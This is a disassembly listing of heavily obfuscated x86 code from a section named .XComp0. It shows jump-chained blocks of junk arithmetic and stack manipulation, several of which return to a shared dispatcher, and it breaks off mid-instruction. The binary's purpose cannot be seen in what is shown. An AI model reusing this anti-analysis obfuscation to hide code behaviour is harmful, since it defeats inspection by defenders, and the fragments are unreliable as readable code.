; --------------------------------------------------------------------------- loc_5886CE: ; CODE XREF: .XComp0:005918BCj sub ebp, edi pop edi xchg ebp, [esp] pop esp mov [esp], ecx mov ecx, esp jmp loc_58E1CD ; --------------------------------------------------------------------------- loc_5886DF: ; CODE XREF: .XComp0:0058AB63j pop ecx mov edi, [esp] add esp, 4 jmp loc_590E6D ; --------------------------------------------------------------------------- loc_5886EE: ; CODE XREF: .XComp0:00590F1Aj pop cx xor ah, 53h xor ah, dh jmp loc_58D4EA ; --------------------------------------------------------------------------- loc_5886FA: ; CODE XREF: .XComp0:00597543j pop ax sub esp, 4 jmp loc_59594D ; --------------------------------------------------------------------------- loc_588707: ; CODE XREF: .XComp0:00595948j dec esi push ebp jmp loc_590CFB ; --------------------------------------------------------------------------- loc_58870E: ; CODE XREF: .XComp0:0058D1BBj mov [esp], ecx mov ecx, 4 jmp loc_591E8B ; --------------------------------------------------------------------------- loc_58871B: ; CODE XREF: .XComp0:0058E152j pop esp rol dword ptr [esp], cl pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_588725: ; CODE XREF: .XComp0:00594478j pop ecx push eax push 43F3h mov [esp], ecx jmp loc_585095 ; --------------------------------------------------------------------------- loc_588734: ; CODE XREF: .XComp0:00587759j not esi add esi, 53D88493h jmp loc_5893C4 ; --------------------------------------------------------------------------- loc_588741: ; CODE XREF: .XComp0:00598070j push 4 pop eax jmp loc_58EB33 ; --------------------------------------------------------------------------- loc_58874C: ; CODE XREF: .XComp0:0058597Ej add ebp, 756E4E6h jmp loc_58A433 ; --------------------------------------------------------------------------- loc_588757: ; CODE XREF: .XComp0:005941EDj pop eax jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58875D: ; CODE XREF: .XComp0:0058F518j push eax mov al, cl mov dl, al jmp loc_58D655 ; --------------------------------------------------------------------------- loc_588767: ; CODE XREF: .XComp0:00593985j add esp, 4 push 2BF7h mov [esp], eax mov eax, 1EEE3AE2h add ecx, 1B1C290Dh jmp loc_58ABDE ; --------------------------------------------------------------------------- loc_588785: ; CODE XREF: .XComp0:00585FC2j push ecx mov ecx, 48347E88h jmp loc_58A5A7 ; --------------------------------------------------------------------------- loc_588790: ; CODE XREF: .XComp0:00595F29j mov edx, 1CCE5A8Ah push ecx mov ecx, 3A2425F2h jmp loc_58F4FF ; --------------------------------------------------------------------------- loc_5887A0: ; CODE XREF: .XComp0:00588312j add edi, 0C84ABA15h sub ecx, edi pop edi sub ecx, esi jmp loc_58A08B ; --------------------------------------------------------------------------- loc_5887B0: ; CODE XREF: .XComp0:00590E5Ej mov [esp], ebx mov ebx, 3A8378ADh add dword ptr [esp+4], 3CAD1BDEh sub [esp+4], ebx sub dword ptr [esp+4], 3CAD1BDEh pop ebx pop edi add edi, 3A8378ADh pop ebx push edi xchg edi, [esp] not edi xchg edi, [esp] mov edi, [esp] push ebp jmp loc_5870C4 ; --------------------------------------------------------------------------- loc_5887E7: ; CODE XREF: .XComp0:loc_584F4Cj mov [esp], ebx push dword ptr [esp] jmp loc_58C8AF ; --------------------------------------------------------------------------- loc_5887F2: ; CODE XREF: .XComp0:00586BDAj and eax, esi mov esi, [esp] push 4935h mov [esp], edx push esp pop edx jmp loc_58E750 ; --------------------------------------------------------------------------- loc_588806: ; CODE XREF: .XComp0:0058B0E6j mov eax, 510C7E18h sub eax, 176624D7h inc eax xor eax, 7B5711ADh add ebp, 15056CD4h add ebp, eax jmp loc_58E634 ; --------------------------------------------------------------------------- loc_588823: ; CODE XREF: .XComp0:005862CDj mov eax, esi pop esi jmp loc_58AC62 ; --------------------------------------------------------------------------- loc_58882B: ; CODE XREF: .XComp0:00584FA9j add esp, 4 shr edx, 6 push eax mov eax, offset word_564512 sub edx, eax pop eax mov ebp, edx push dword ptr [esp] pop edx sub esp, 4 mov [esp], esi jmp loc_589705 ; --------------------------------------------------------------------------- loc_588851: ; CODE XREF: .XComp0:00585AC6j pop esp xor edi, 458A7716h shr edi, 3 inc edi push 1619h mov [esp], ebx push ebp push 2DC6B36h mov ebp, [esp] add esp, 4 not ebp sub ebp, 36901502h sub esp, 4 mov [esp], ebx mov ebx, 42EFE4CBh sub ebp, 3EE17A25h add ebp, ebx push eax mov eax, 11CE1FE4h jmp loc_598662 ; --------------------------------------------------------------------------- loc_588899: ; CODE XREF: .XComp0:00584169j mov [esp], ebx mov bl, 0CBh sub bl, 78h sub cl, 62h sub cl, bl add cl, 62h pop ebx sub al, cl pop ecx jmp loc_5841AA ; --------------------------------------------------------------------------- loc_5888B2: ; CODE XREF: .XComp0:00583E37j xor [esp], ecx xor ecx, [esp] pop esp add ebx, 5980C92h jmp loc_593577 ; --------------------------------------------------------------------------- loc_5888C4: ; CODE XREF: .XComp0:0059870Fj mov [esp], ecx mov cx, 860h shl cx, 3 shl cx, 5 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx mov bx, 7FBEh jmp loc_595430 ; --------------------------------------------------------------------------- loc_5888F2: ; CODE XREF: .XComp0:0058F41Aj xor bl, 62h push eax mov al, 33h jmp loc_591136 ; --------------------------------------------------------------------------- loc_5888FD: ; CODE XREF: .XComp0:005846B9j pop ecx xchg esi, [esp] pop esp xor [esp], al pushf jmp loc_583A60 ; --------------------------------------------------------------------------- push 5AC3h mov [esp], edx push esp pop edx add edx, 4 push ebx push 6E85h mov [esp], edi jmp loc_593D91 ; --------------------------------------------------------------------------- loc_588929: ; CODE XREF: .XComp0:00595E1Ej push dword ptr [esp] pop ecx push edx jmp loc_596CB0 ; --------------------------------------------------------------------------- loc_588933: ; CODE XREF: .XComp0:00587AD5j sub eax, edi jmp loc_58C653 ; --------------------------------------------------------------------------- loc_58893A: ; CODE XREF: .XComp0:00594CF5j shr ebp, 7 sub ebp, 2AAE51B3h add ebp, 9247932h add ebp, 41277DACh and esi, ebp pop ebp shr esi, 8 dec esi sub esi, 110E0Ch mov eax, esi pop esi sub esi, eax pop eax xchg esi, [esp] mov esp, [esp] mov [esp], edx mov edx, ebx mov esi, edx pop edx pop ebx jmp loc_594CDC ; --------------------------------------------------------------------------- loc_588976: ; CODE XREF: .XComp0:00594A72j neg esi jmp loc_58BF13 ; --------------------------------------------------------------------------- loc_58897D: ; CODE XREF: .XComp0:0058CD81j mov [esp], ecx mov cl, 6 jmp loc_58C9FC ; --------------------------------------------------------------------------- loc_588987: ; CODE XREF: .XComp0:0058917Cj mov esi, 40EA5B1Ch sub esi, 580E24D2h shl esi, 8 sub esi, 0B277E656h add edx, esi pop esi jmp loc_594BD9 ; --------------------------------------------------------------------------- loc_5889A3: ; CODE XREF: .XComp0:00588DF3j push esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] push esi mov esi, 4 add ebp, esi pop esi push ebp push dword ptr [esp+4] pop ebp jmp loc_58C47E ; --------------------------------------------------------------------------- loc_5889CC: ; CODE XREF: .XComp0:00588A2Dj mov eax, [esp] jmp loc_58AF1B ; --------------------------------------------------------------------------- loc_5889D4: ; CODE XREF: .XComp0:00585754j add esp, 4 push ebx mov ebx, 549502B4h jmp loc_59706F ; --------------------------------------------------------------------------- loc_5889E5: ; CODE XREF: .XComp0:005901CCj pop ebx jmp loc_58E969 ; --------------------------------------------------------------------------- loc_5889EB: ; CODE XREF: .XComp0:00597464j xor edx, esi push dword ptr [esp] pop esi add esp, 4 sub esi, 3A7429A4h add esi, 1AE90DB9h add esi, edx sub esi, 1AE90DB9h add esi, 3A7429A4h mov edx, [esp] jmp loc_591D09 ; --------------------------------------------------------------------------- loc_588A16: ; CODE XREF: .XComp0:00589930j mov ecx, 2 add eax, ecx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], eax push dword ptr [esp+4] jmp loc_5889CC ; --------------------------------------------------------------------------- loc_588A32: ; CODE XREF: .XComp0:0058DD78j mov edx, 797826A4h jmp loc_587003 ; --------------------------------------------------------------------------- loc_588A3C: ; CODE XREF: .XComp0:0058FA84j pop eax jmp loc_589298 ; --------------------------------------------------------------------------- loc_588A42: ; CODE XREF: .XComp0:0058E60Dj mov eax, ebx pop ebx mov ebx, eax jmp loc_583B72 ; --------------------------------------------------------------------------- loc_588A4C: ; CODE XREF: .XComp0:0058D7BDj pop dword ptr [esp] pop esp mov [esp], edx mov edx, esp jmp loc_58C6C8 ; --------------------------------------------------------------------------- loc_588A5A: ; CODE XREF: .XComp0:0058B0F1j push esi mov esi, 5FD476FDh jmp loc_58CC95 ; --------------------------------------------------------------------------- loc_588A65: ; CODE XREF: .XComp0:005960C5j push eax mov eax, 3D703547h shl eax, 3 jmp loc_5961C4 ; --------------------------------------------------------------------------- loc_588A73: ; CODE XREF: .XComp0:0058A4C0j pop esi jmp loc_589D90 ; --------------------------------------------------------------------------- loc_588A79: ; CODE XREF: .XComp0:0058F20Fj mov [esp], ecx push esp pop ecx push 3CEEh jmp loc_5902E7 ; --------------------------------------------------------------------------- loc_588A88: ; CODE XREF: .XComp0:005846E2j push 376D8547h mov ebx, [esp] add esp, 4 xor edx, ebx jmp loc_595476 ; --------------------------------------------------------------------------- loc_588A9A: ; CODE XREF: .XComp0:005903D8j mov esp, [esp] push dword ptr [esp] pop eax push 2F81h mov [esp], edi mov edi, esp jmp loc_591B05 ; --------------------------------------------------------------------------- loc_588AB0: ; CODE XREF: .XComp0:0058BAC9j add ecx, 4 add ecx, 4 jmp loc_590AD1 ; --------------------------------------------------------------------------- loc_588AC1: ; CODE XREF: .XComp0:0058EB1Dj pop edi sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ecx jmp loc_583A60 ; --------------------------------------------------------------------------- loc_588AD3: ; CODE XREF: .XComp0:00588FFEj pop esi xor ecx, 7AD33EF8h jmp loc_596485 ; --------------------------------------------------------------------------- loc_588ADF: ; CODE XREF: .XComp0:005955C6j mov edx, esp push ebx mov ebx, 1C676DA6h inc ebx add ebx, 0E398925Dh add edx, ebx pop ebx sub edx, 4 xchg edx, [esp] jmp loc_593B43 ; --------------------------------------------------------------------------- lodsd push esi jmp loc_58C66A ; --------------------------------------------------------------------------- loc_588B03: ; CODE XREF: .XComp0:0058A1ABj pop esi xchg ebp, [esp] pop esp mov cx, [esp] push ecx push esp mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_583C52 ; --------------------------------------------------------------------------- loc_588B25: ; CODE XREF: .XComp0:005967BEj push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ebx push esi push ecx mov ecx, 2FD15F84h push 0 sub [esp], ecx mov ecx, [esp] add esp, 4 shr ecx, 6 dec ecx xor ecx, 340BA84h push ecx pop esi pop ecx add ebx, 59EC4F6Fh jmp loc_58A9BB ; --------------------------------------------------------------------------- loc_588B5E: ; CODE XREF: .XComp0:00590D97j xor ecx, eax xor eax, ecx xchg ebx, ecx push ebx push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_58BF9B ; --------------------------------------------------------------------------- loc_588B79: ; CODE XREF: .XComp0:005929FAj mov ecx, 5BF757D7h push edi mov edi, 3D4F23F2h xor ecx, edi pop edi neg ecx add ecx, 6B662690h add ecx, 60038150h sub eax, ecx pop ecx jmp loc_58E53A ; --------------------------------------------------------------------------- loc_588B9D: ; CODE XREF: .XComp0:0058B944j xor [esp], ecx xor ecx, [esp] pop esp mov [esp], eax mov eax, esp sub esp, 4 jmp loc_58D511 ; --------------------------------------------------------------------------- loc_588BB4: ; CODE XREF: .XComp0:00592FECj or ebx, 375C3AE5h and ebx, 16405E52h xor ebx, 509878DBh and edi, ebx mov ebx, [esp] add esp, 4 push 5D7Fh mov [esp], ebx mov ebx, 2011DFCh jmp loc_591329 ; --------------------------------------------------------------------------- loc_588BE3: ; CODE XREF: .XComp0:0058E736j pop esp mov eax, ebp mov ebp, [esp] push eax jmp loc_59648D ; --------------------------------------------------------------------------- loc_588BEF: ; CODE XREF: .XComp0:00586A1Ej mov eax, ecx mov ecx, [esp] add esp, 4 push edx mov edx, 0CCD82C67h add eax, 34005656h sub eax, edx jmp loc_598966 ; --------------------------------------------------------------------------- loc_588C0C: ; CODE XREF: .XComp0:0058529Ej add eax, 1CF70262h add eax, ecx sub eax, 1CF70262h push edx push eax mov eax, 51394583h push ecx mov ecx, 28906273h not ecx inc ecx sub esp, 4 mov [esp], esi push 16800A39h pop esi xor ecx, esi pop esi push ecx push edx pop ecx pop edx jmp loc_58E424 ; --------------------------------------------------------------------------- loc_588C43: ; CODE XREF: .XComp0:0058E5D6j shl word ptr [esp], cl pushf jmp loc_59850C ; --------------------------------------------------------------------------- loc_588C4D: ; CODE XREF: .XComp0:00588E84j mov [esp], ebx mov eax, [esp] push 703Ch mov [esp], esi sub esp, 4 mov [esp], esp push edx mov edx, 4 add [esp+4], edx pop edx pop esi sub esp, 4 mov [esp], ebx push eax mov eax, esp add eax, 4 sub eax, 4 push eax push dword ptr [esp+4] jmp loc_58F39A ; --------------------------------------------------------------------------- loc_588C90: ; CODE XREF: .XComp0:00596A8Fj mov ebx, 7EB04B92h sub ebx, 529843AFh and ebp, ebx pop ebx sub esp, 4 mov [esp], eax push ebx mov ebx, 0FFFFFFFFh mov eax, ebx pop ebx add ebp, eax jmp loc_5920D1 ; --------------------------------------------------------------------------- loc_588CB4: ; CODE XREF: .XComp0:005986FFj mov ch, 31h mov bl, 0C1h sub bl, ch pop ecx sub al, 0Ah add al, bl push ecx mov cl, 51h push dx mov dl, 47h jmp loc_595413 ; --------------------------------------------------------------------------- loc_588CCB: ; CODE XREF: .XComp0:00595139j mov [esp], ebp mov ebp, ebx push 58CAh mov [esp], ebp jmp loc_584E63 ; --------------------------------------------------------------------------- loc_588CDD: ; CODE XREF: .XComp0:0059282Cj add esp, 4 and eax, edi push dword ptr [esp] pop edi jmp loc_595B3A ; --------------------------------------------------------------------------- loc_588CEB: ; CODE XREF: .XComp0:00590BA9j not ch add ch, 9Dh neg ch xor ch, 7Dh jmp loc_5896AA ; --------------------------------------------------------------------------- loc_588CFA: ; CODE XREF: .XComp0:00598EACj push ebx push 5A3815E3h pop ebx dec ebx or ebx, 23F70463h jmp loc_58F0CA ; --------------------------------------------------------------------------- loc_588D0D: ; CODE XREF: .XComp0:005912F0j neg bh shl bh, 6 sub bh, 25h xor bh, 0DBh sub ch, 7Ch jmp loc_59614C ; --------------------------------------------------------------------------- loc_588D20: ; CODE XREF: .XComp0:00593B3Ej mov ecx, 344F21EEh mov edi, ecx pop ecx push ecx mov ecx, 0F686757h sub ecx, 0CDC548A4h jmp loc_58B8F7 ; --------------------------------------------------------------------------- loc_588D39: ; CODE XREF: .XComp0:00589A30j mov edi, esp add edi, 4 jmp loc_587472 ; --------------------------------------------------------------------------- loc_588D46: ; CODE XREF: .XComp0:0058C3A1j push edi jmp loc_592106 ; --------------------------------------------------------------------------- loc_588D4C: ; CODE XREF: .XComp0:0058A1B3j mov edi, 0B2B5C255h xor ebp, edi mov edi, [esp] add esp, 4 jmp loc_5876A9 ; --------------------------------------------------------------------------- loc_588D5E: ; CODE XREF: .XComp0:00585DD7j add edi, 7CA2738h jmp loc_59557C ; --------------------------------------------------------------------------- loc_588D69: ; CODE XREF: .XComp0:005886BEj push 48AEh jmp loc_594562 ; --------------------------------------------------------------------------- loc_588D73: ; CODE XREF: .XComp0:0059625Ej add esp, 2 sub dx, 476Fh push di mov di, 0A865h sub dx, 7FC5h sub dx, di jmp loc_596F18 ; --------------------------------------------------------------------------- loc_588D8E: ; CODE XREF: .XComp0:00589C2Fj add al, bl pop ebx sub al, 96h push ebx mov bh, 5Bh add al, bh pop ebx sub al, bh sub al, 5Bh push ecx jmp loc_592587 ; --------------------------------------------------------------------------- loc_588DA3: ; CODE XREF: .XComp0:0058722Aj add ebx, esi pop esi add ebx, 4 jmp loc_5912BB ; --------------------------------------------------------------------------- loc_588DAE: ; CODE XREF: .XComp0:00587E40j push esp pop eax jmp loc_5929F3 ; --------------------------------------------------------------------------- loc_588DB5: ; CODE XREF: .XComp0:00598C9Cj mov esi, 30A84A10h xor esi, ebx push dword ptr [esp] pop ebx jmp loc_589010 ; --------------------------------------------------------------------------- loc_588DC5: ; CODE XREF: .XComp0:00590ACCj push eax mov eax, 4 add [esp+4], eax jmp loc_58B337 ; --------------------------------------------------------------------------- loc_588DD4: ; CODE XREF: .XComp0:005894F8j mov edi, 4 mov edx, edi pop edi sub ebp, 0D43C3Fh add ebp, edx add ebp, 0D43C3Fh push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_5889A3 ; --------------------------------------------------------------------------- loc_588DF8: ; CODE XREF: .XComp0:0058D50Cj add ch, 16h add al, 71h sub al, ch sub al, 71h pop ecx pop ebx push cx push edx mov dl, 70h jmp loc_58B500 ; --------------------------------------------------------------------------- loc_588E0D: ; CODE XREF: .XComp0:00595CAEj mov eax, 4 add ebp, eax pop eax xchg ebp, [esp] jmp loc_58F945 ; --------------------------------------------------------------------------- mov cx, [esp] push 1E2Bh mov [esp], esi mov esi, esp add esi, 4 push ebp mov ebp, esp add ebp, 4 push ecx jmp loc_58732C ; --------------------------------------------------------------------------- loc_588E40: ; CODE XREF: .XComp0:005924DCj not edi not edi shl edi, 6 xor edi, 0F81730Bh sub ebp, edi jmp loc_59396B ; --------------------------------------------------------------------------- loc_588E54: ; CODE XREF: .XComp0:00593EEAj sub eax, 5F7E6A1Dh add eax, 219E5F9Bh sub eax, edi sub eax, 219E5F9Bh add eax, 5F7E6A1Dh jmp loc_58D319 ; --------------------------------------------------------------------------- loc_588E6F: ; CODE XREF: .XComp0:00584ECAj add ecx, edi push edx mov edx, 0 add edx, ecx add dword ptr [edx], 1 pop edx pop ecx loc_588E81: ; CODE XREF: .XComp0:00597668j sub esp, 4 jmp loc_588C4D ; --------------------------------------------------------------------------- loc_588E89: ; CODE XREF: .XComp0:00585E0Bj add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_5855D2 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_588EAC: ; CODE XREF: .XComp0:00586865j mov esi, [esp] add esp, 4 xchg edi, [esp] pop esp neg esi or esi, 664D400Ch shr esi, 3 jmp loc_594731 ; --------------------------------------------------------------------------- loc_588EC9: ; CODE XREF: .XComp0:00585C53j mov edx, 7B5A601Ch push edx jmp loc_58CE90 ; --------------------------------------------------------------------------- loc_588ED4: ; CODE XREF: .XComp0:005891D9j add ecx, ebx pop ebx jmp loc_59215D ; --------------------------------------------------------------------------- loc_588EDC: ; CODE XREF: .XComp0:00596D19j and eax, esi jmp loc_5861AA ; --------------------------------------------------------------------------- loc_588EE3: ; CODE XREF: .XComp0:00584F02j pop ecx sub edx, 242B74B4h add edx, edi push eax mov eax, 213A3AF0h inc eax add eax, 2F139C3h jmp loc_58432D ; --------------------------------------------------------------------------- loc_588EFD: ; CODE XREF: .XComp0:005894E1j add edi, 0DD51C108h mov edx, edi pop edi mov eax, edx pop edx jmp loc_5954FA ; --------------------------------------------------------------------------- loc_588F0E: ; CODE XREF: .XComp0:0058A104j add esp, 4 mov ebp, 422B5316h add ebp, 4F623A60h sub ebp, ecx push edi mov edi, 4F623A60h sub ebp, edi jmp loc_587AF0 ; --------------------------------------------------------------------------- loc_588F2B: ; CODE XREF: .XComp0:0058DF33j pop edi shl edx, 4 and edx, 34046CADh push edi push eax mov eax, 463A043Ah sub esp, 4 mov [esp], ecx push eax mov eax, 6EAD737Dh jmp loc_58CBC8 ; --------------------------------------------------------------------------- loc_588F4D: ; CODE XREF: .XComp0:00584256j xor eax, [esp] pop esp jmp loc_58556A ; --------------------------------------------------------------------------- loc_588F56: ; CODE XREF: .XComp0:0059674Dj pop eax push edx push dword ptr [esp+4] jmp loc_589C87 ; --------------------------------------------------------------------------- loc_588F61: ; CODE XREF: .XComp0:00593DFDj pop eax add esp, 4 push 5BBh mov [esp], ebp mov ebp, 3A9D7A0Dh sub ebp, 106D3FB3h jmp loc_58D408 ; --------------------------------------------------------------------------- loc_588F80: ; CODE XREF: .XComp0:00593FE7j push eax mov eax, 44004014h xor ebp, eax pop eax add edx, ebp pop ebp push ecx push edx mov edx, 24396815h mov ecx, 24396811h jmp loc_584A1A ; --------------------------------------------------------------------------- loc_588F9D: ; CODE XREF: .XComp0:00592D96j push ecx push 61CE600Ch pop ecx add ebp, ecx pop ecx add ebp, 2E3C128Dh sub ebp, 79270DF6h add ecx, 194F210Eh add ecx, ebp push esi push eax mov eax, 194F210Eh mov esi, eax pop eax sub ecx, esi jmp loc_5867C6 ; --------------------------------------------------------------------------- loc_588FCC: ; CODE XREF: .XComp0:0058A3DDj mov eax, esp jmp loc_590088 ; --------------------------------------------------------------------------- loc_588FD3: ; CODE XREF: .XComp0:00590D8Ej pop ecx xchg edi, [esp] mov esp, [esp] jmp loc_58ACF4 ; --------------------------------------------------------------------------- loc_588FDF: ; CODE XREF: .XComp0:0058A753j sub eax, 2A5B0BD7h add eax, 48D02499h jmp loc_594A90 ; --------------------------------------------------------------------------- loc_588FEE: ; CODE XREF: .XComp0:00594830j mov ebx, [esp] add esp, 4 jmp loc_5956BB ; --------------------------------------------------------------------------- loc_588FFC: ; CODE XREF: .XComp0:0058BDC5j mov ecx, esi jmp loc_588AD3 ; --------------------------------------------------------------------------- loc_589003: ; CODE XREF: .XComp0:00596BA8j push 38B7h mov [esp], edi jmp loc_59010A ; --------------------------------------------------------------------------- loc_589010: ; CODE XREF: .XComp0:00588DC0j push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] jmp loc_597D53 ; --------------------------------------------------------------------------- loc_589027: ; CODE XREF: .XComp0:0058A5BAj push dword ptr [esp] pop edx push eax mov eax, esp push 47CDh jmp loc_591AAE ; --------------------------------------------------------------------------- loc_589038: ; CODE XREF: .XComp0:005944EFj pop ebx add ecx, edi sub ecx, 44DF04ADh push 7DABh mov [esp], ebx jmp loc_58ADE6 ; --------------------------------------------------------------------------- loc_58904E: ; CODE XREF: .XComp0:00591457j add eax, ebx pop ebx jmp loc_58A428 ; --------------------------------------------------------------------------- loc_589056: ; CODE XREF: .XComp0:0058CBB5j sub esi, 4 push esi jmp loc_585596 ; --------------------------------------------------------------------------- loc_58905F: ; CODE XREF: .XComp0:00593DB1j xor edi, 4B754761h jmp loc_593D51 ; --------------------------------------------------------------------------- loc_58906A: ; CODE XREF: .XComp0:005982EEj push esi mov esi, 4 add edx, 6C41DB8h add edx, esi sub edx, 6C41DB8h push dword ptr [esp] pop esi add esp, 4 jmp loc_598F94 ; --------------------------------------------------------------------------- loc_58908D: ; CODE XREF: .XComp0:0058DFAEj push 373Ch mov [esp], eax mov eax, 21BA77E9h push ebp mov ebp, 7F37141Eh dec ebp jmp loc_595A33 ; --------------------------------------------------------------------------- loc_5890A6: ; CODE XREF: .XComp0:00596502j add esp, 4 push 547Ah mov [esp], ebx push esp pop ebx add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] jmp loc_597144 ; --------------------------------------------------------------------------- loc_5890C6: ; CODE XREF: .XComp0:005945AAj mov edx, [esp] jmp loc_5925E5 ; --------------------------------------------------------------------------- loc_5890CE: ; CODE XREF: .XComp0:00595893j neg ebx shl ebx, 6 neg ebx sub ebx, 4547E1C3h sub ecx, ebx pop ebx xor ecx, 0F3C23F5Eh push ecx jmp loc_590158 ; --------------------------------------------------------------------------- loc_5890EA: ; CODE XREF: .XComp0:00598762j push 3CF86C2Ch pop ebx push eax mov eax, 377520DEh jmp loc_585812 ; --------------------------------------------------------------------------- loc_5890FB: ; CODE XREF: .XComp0:00593844j push edi push 4B7D6B86h pop edi jmp loc_59665B ; --------------------------------------------------------------------------- loc_589107: ; CODE XREF: .XComp0:005972EDj push edx mov dh, 0BFh or dh, 8Dh xor dh, 1Fh add bl, dh mov edx, [esp] add esp, 4 add bl, 14h sub bl, dh sub bl, 14h push eax jmp loc_592A9E ; --------------------------------------------------------------------------- loc_589129: ; CODE XREF: .XComp0:0059869Bj pop dword ptr [edi+eax*4] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_589131: ; CODE XREF: .XComp0:0058E590j mov eax, esp add eax, 4 add eax, 4 jmp loc_59321F ; --------------------------------------------------------------------------- loc_589140: ; CODE XREF: .XComp0:0058F9E7j add ebp, 2F8A6367h push eax mov eax, 128106A8h and ebp, eax jmp loc_58A07F ; --------------------------------------------------------------------------- loc_589153: ; CODE XREF: .XComp0:00597786j sub edi, edx push ecx push ebx push ecx mov ecx, 660F6FE6h dec ecx jmp loc_58E4C8 ; --------------------------------------------------------------------------- loc_589163: ; CODE XREF: .XComp0:00597B71j xchg ecx, [esp] pop esp add esi, 2 xor esi, [esp] jmp loc_594996 ; --------------------------------------------------------------------------- loc_589175: ; CODE XREF: .XComp0:0058AAFFj sub edx, 4BA12C66h push esi jmp loc_588987 ; --------------------------------------------------------------------------- loc_589181: ; CODE XREF: .XComp0:0058F51Fj pop ebp inc esi jmp loc_594C08 ; --------------------------------------------------------------------------- loc_589188: ; CODE XREF: .XComp0:0058D3A5j pop edx add ebp, 6E50ADC0h jmp loc_58F51D ; --------------------------------------------------------------------------- loc_589194: ; CODE XREF: .XComp0:00596892j push dword ptr [esp] pop ecx push 1E89h mov [esp], edx jmp loc_594AAF ; --------------------------------------------------------------------------- loc_5891A5: ; CODE XREF: .XComp0:00586FFEj sub al, 67h push bx mov bh, 85h jmp loc_5974F3 ; --------------------------------------------------------------------------- loc_5891B0: ; CODE XREF: .XComp0:00590342j push 2E6Eh mov [esp], edx push eax mov al, bl mov dl, al pop eax jmp loc_58A987 ; --------------------------------------------------------------------------- loc_5891C3: ; CODE XREF: .XComp0:005900D7j or ch, ah jmp loc_58CD38 ; --------------------------------------------------------------------------- loc_5891CA: ; CODE XREF: .XComp0:005897C3j inc ebx and ebx, 42BF1CC0h neg ebx sub ebx, 0FF59E7BCh jmp loc_588ED4 ; --------------------------------------------------------------------------- loc_5891DE: ; CODE XREF: .XComp0:0058D4CDj add esp, 4 push eax push esp mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_58FDC4 ; --------------------------------------------------------------------------- loc_5891FC: ; CODE XREF: .XComp0:0058C9DFj mov ebp, 6641264Eh shl ebp, 7 xor ebp, 0A18A650Dh sub edi, ebp pop ebp jmp loc_58A302 ; --------------------------------------------------------------------------- loc_589212: ; CODE XREF: .XComp0:00585D81j push ebx mov ebx, 4 add ecx, ebx pop ebx xchg ecx, [esp] jmp loc_58A0A0 ; --------------------------------------------------------------------------- loc_589223: ; CODE XREF: .XComp0:00594B84j mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_58F13D ; --------------------------------------------------------------------------- loc_589233: ; CODE XREF: .XComp0:0059466Fj add esp, 4 loc_589236: ; CODE XREF: .XComp0:loc_5971F3j push ebx push ebp mov ebp, 37C6311Ch add [esp+4], ebp mov ebp, [esp] add esp, 4 push dword ptr [esp] pop ebx push edi mov edi, esp add edi, 4 sub esp, 4 mov [esp], ebp mov ebp, 7EEF47C1h or ebp, 60697D6Dh not ebp push eax mov eax, 3B85151Fh shl eax, 2 neg eax shl eax, 1 xor eax, 642E1737h jmp loc_59770F ; --------------------------------------------------------------------------- loc_58927E: ; CODE XREF: .XComp0:00587CB1j mov [esp], edx mov edx, 7D392974h push 7057h mov [esp], edx mov edx, 58714271h jmp loc_583D9F ; --------------------------------------------------------------------------- loc_589298: ; CODE XREF: .XComp0:00588A3Dj xchg ebp, [esp] pop esp jmp loc_58DB33 ; --------------------------------------------------------------------------- loc_5892A1: ; CODE XREF: .XComp0:0058F4ACj push ebx mov bl, 0F8h dec bl shl bl, 5 dec bl inc bl and bl, 16h jmp loc_592D6D ; --------------------------------------------------------------------------- loc_5892B5: ; CODE XREF: .XComp0:0059216Bj add al, dh sub al, 0E1h pop edx push dx push 1941h mov [esp], ebx mov bl, 0BFh mov dh, bl mov ebx, [esp] add esp, 4 push ebx push eax mov al, 76h mov bl, al pop eax sub al, bl push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_596913 ; --------------------------------------------------------------------------- loc_5892E8: ; CODE XREF: .XComp0:00584646j pop esp mov [esp], edx mov edx, esp push edi mov edi, 4A522F47h xor edi, 4A522F43h add edx, edi mov edi, [esp] push edx jmp loc_5900C2 ; --------------------------------------------------------------------------- loc_589305: ; CODE XREF: .XComp0:00587C3Ej add edx, ebx push ebx mov ebx, 53F615B9h sub edx, ebx pop ebx push dword ptr [esp] pop ebx add esp, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] jmp loc_58FBA5 ; --------------------------------------------------------------------------- loc_589328: ; CODE XREF: .XComp0:005866C8j mov ebx, [esp] jmp loc_58EE50 ; --------------------------------------------------------------------------- loc_589330: ; CODE XREF: .XComp0:00595A2Ej mov ebx, 2 jmp loc_58B24B ; --------------------------------------------------------------------------- loc_58933A: ; CODE XREF: .XComp0:0058A4C7j mov edx, eax jmp loc_58CA68 ; --------------------------------------------------------------------------- loc_589341: ; CODE XREF: .XComp0:0058750Dj sub dword ptr [esp], 5AF44C05h pop ebp add ebp, 5AF44C05h pop eax push edi mov edi, 1FA7C6E3h add ebp, edi pop edi sub esi, ebp mov ebp, [esp] add esp, 4 add esi, 45EA6395h jmp loc_58CDC3 ; --------------------------------------------------------------------------- loc_58936C: ; CODE XREF: .XComp0:00586D33j inc ax sub ax, 0E121h jmp loc_58DC44 ; --------------------------------------------------------------------------- loc_589377: ; CODE XREF: .XComp0:00588217j add eax, 4 add eax, 2 xor eax, [esp] xor [esp], eax jmp loc_58FCEB ; --------------------------------------------------------------------------- loc_58938C: ; CODE XREF: .XComp0:005986C5j mov dh, 7Bh and 